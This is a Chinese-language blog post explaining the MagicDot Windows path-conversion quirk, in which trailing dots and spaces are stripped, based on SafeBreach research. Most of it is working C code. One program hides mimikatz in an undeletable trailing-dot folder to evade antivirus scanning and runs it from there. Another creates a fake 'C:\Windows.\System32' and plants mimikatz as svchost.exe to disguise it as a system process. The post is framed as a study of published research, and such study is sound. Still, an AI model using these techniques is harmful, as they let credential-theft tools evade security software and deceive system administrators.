前言 好久没有写文章了,主播最近在持续学习当中,有些知识点还没有掌握,也没有自己更深的理解,所以写不出来什么东西,只能借着一些大佬的博客或者是公众号来写一点东西吧。
magicdot的介绍 magicdot是SafeBreach Labs 的一位研究人员在 BlackHat Asia 2024 大会上以 “MagicDot: A Hacker’s Magic Show of Disappearing Dots and Spaces” 为题进行了展示,MagicDot 的核心目的是利用文件系统中的特殊命名规则,创建无法正常操作的文件或目录,甚至隐藏文件,以实现安全研究的目的。
这里是大佬的文章地址:
MagicDot:黑客魔术表演 |安全突破
原理和演示 这个漏洞的核心原理就是,当用户在 Windows 中执行带有路径参数的函数时,文件或文件夹所在的 DOS 路径会被转换为 NT 路径。在此转换过程中,存在一个已知问题:函数会移除任意路径元素的尾部点和最后一个路径元素的尾部空格。并且Windows 中的大多数用户空间 API都有这个问题。
DOS 路径:C:\example\example
NT 路径:\??\C:\example\example
比如:当调用像 CreateFile 这样的 win32api 函数时,它实际上调用了另一个底层函数——NtCreateFile 函数——来执行打开文件的作。 由于 NtCreateFile 要求的是 NT 路径而非 DOS 路径,因此在调用 NtCreateFile 之前,DOS 路径会被转换为 NT 路径,NT 路径与 DOS 路径不同(例如 \??\C:\Users\User\Documents\example.txt)。一组转换函数,大多数(如果不是全部)转换都会经过(RtlpDosPathNameToRelativeNtPathName), 负责这次转换。在转换过程中,存在一个已知问题,函数会移除任何路径元素的尾部点和最后一个路径元素的尾部空格,这就称之为“MagicDot”路径。以下是该转换过程的一些示例:
根据这个可以看出来,他会将dos路径中
• 任意路径段末尾的任意数量的点
• 最后一个路径段末尾的任意数量的空格
进行删除转换为nt路径
我们可以尝试演示一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #include <windows.h> #include <stdio.h> int main () { HANDLE h=CreateFileW (L"\\??\\D:\\yawataa_magicdot.txt." , GENERIC_READ, FILE_SHARE_READ,NULL ,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL ); if (h==INVALID_HANDLE_VALUE) { printf ("[-]CreateFileW Error %d\n" ,GetLastError ()); return 0 ; } printf ("[+]CreateFileW Success\n" ); int c=CreateDirectoryW (L"\\??\\D:\\yawataa_magicdotDirectory." ,0 ); if (c==0 ) { printf ("[-]CreateDirectoryW Error %d\n" ,GetLastError ()); return 0 ; } printf ("[+]CreateDirectoryW Success\n" ); CloseHandle (h); }
这串代码创建的一个路径D:\yawataa_magicdot.txt. 文件和D:\yawataa_magicdotDirectory. 文件目录,我们尝试运行
可以看到已经创建成功了
但是当我们访问的时候,不能正常访问,也不能进行删除
这就是因为在解析的时候把最后的那个.去掉了,现在我们在目录下创建一个这个文件夹D:\yawataa_magicdotDirectory(没有点)
里面放入test.txt文件
我们再访问
D:\yawataa_magicdotDirectory. 这个文件夹 就会被解析导向到D:\yawataa_magicdotDirectory 这个文件夹下
由此就引申出两个比较常用的利用手法。
1.文件隐藏 我们可以创建一个magicdot文件夹,里面放我们的恶意程序。然后因为路径转换的问题,我们并不能打开这个文件夹。同时也不能进行删除(2025年12月22日可以防火绒)
比如我们以mimikatz为例
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int main () { int c = CreateDirectory W(L "\\ ??\\ D:\\ exp_dot." , 0 ); if (c == 0 ) { printf ("[-]CreateDirectoryW Error %d\n " , GetLastError ()); return 0 ; } printf ("[+]CreateDirectoryW Success\n " ); int co = CopyFile W(L "\\ ??\\ D:\\ mimikatz.exe" , L "\\ ??\\ D:\\ exp_dot.\\ mimikatz.exe" , 0 ); if (co == 0 ) { printf ("[-]CopyFileW Error %d\n " , GetLastError ()); return 0 ; } printf ("[+]CopyFileW Success\n " ); return 0 ; }
扫描时因为不能访问这个文件夹 所以不能扫到东西。但是我们可以通过Windows api进行访问和执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include <windows.h> #include <stdio.h> int main () { STARTUPINFOW si; PROCESS_INFORMATION pi; CreateProcessW (L"\\??\\D:\\exp_dot.\\mimikatz.exe" ,0 ,NULL , NULL , FALSE, 0 , NULL , NULL , &si, &pi); WaitForSingleObject (pi.hProcess, INFINITE); CloseHandle (pi.hProcess); return 0 ; }
火绒2025年12月12日可以进行删除了
2.进程伪装 因此又产生了第二个利用点,就是进程伪装
比如我们创建一个
“C:\Windows.\System32”
文件夹,当我们访问的时候就会被导入
“C:\Windows\System32”中
我们再在
“C:\Windows.\System32”里面放入我们的恶意程序,命名为svchost.exe,就会被误认为是C:\Windows\System32下的这个svchost.exe在运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 int main () { int c1 = CreateDirectory W(L "\\ ??\\ C:\\ Windows." , 0 ); if (c1 == 0 ) { printf ("[-]CreateDirectoryW Error %d\n " , GetLastError ()); return 0 ; } int c2 = CreateDirectory W(L "\\ ??\\ C:\\ Windows.\\ System32" , 0 ); if (c2 == 0 ) { printf ("[-]CreateDirectoryW Error %d\n " , GetLastError ()); return 0 ; } printf ("[+]CreateDirectoryW Success\n " ); int co = CopyFile W(L "\\ ??\\ D:\\ mimikatz.exe" , L "\\ ??\\ C:\\ Windows.\\ System32\\ svchost.exe" , 0 ); if (co == 0 ) { printf ("[-]CopyFileW Error %d\n " , GetLastError ()); return 0 ; } printf ("[+]CopyFileW Success\n " ); STARTUPINFOW si ; PROCESS_INFORMATION pi ; CreateProcess W(L "\\ ??\\ C:\\ Windows.\\ System32\\ svchost.exe" , 0 , NULL , NULL , FALSE , 0 , NULL , NULL , & si , & pi ); WaitForSingleObject (pi .hProcess , INFINITE ); CloseHandle (pi .hProcess ); return 0 ; }
此时查看进程29000
此时procexp能够正常检测到该进程
但是Processhacker和系统自带的进程查看,关于这个进程的描述就是正常的
参考链接:
https://github.com/SafeBreach-Labs/MagicDot
https://www.safebreach.com/blog/magicdot-a-hackers-magic-show-of-disappearing-dots-and-spaces/
https://mp.weixin.qq.com/s/OVdci4LLUYkVIHZZx8NfiA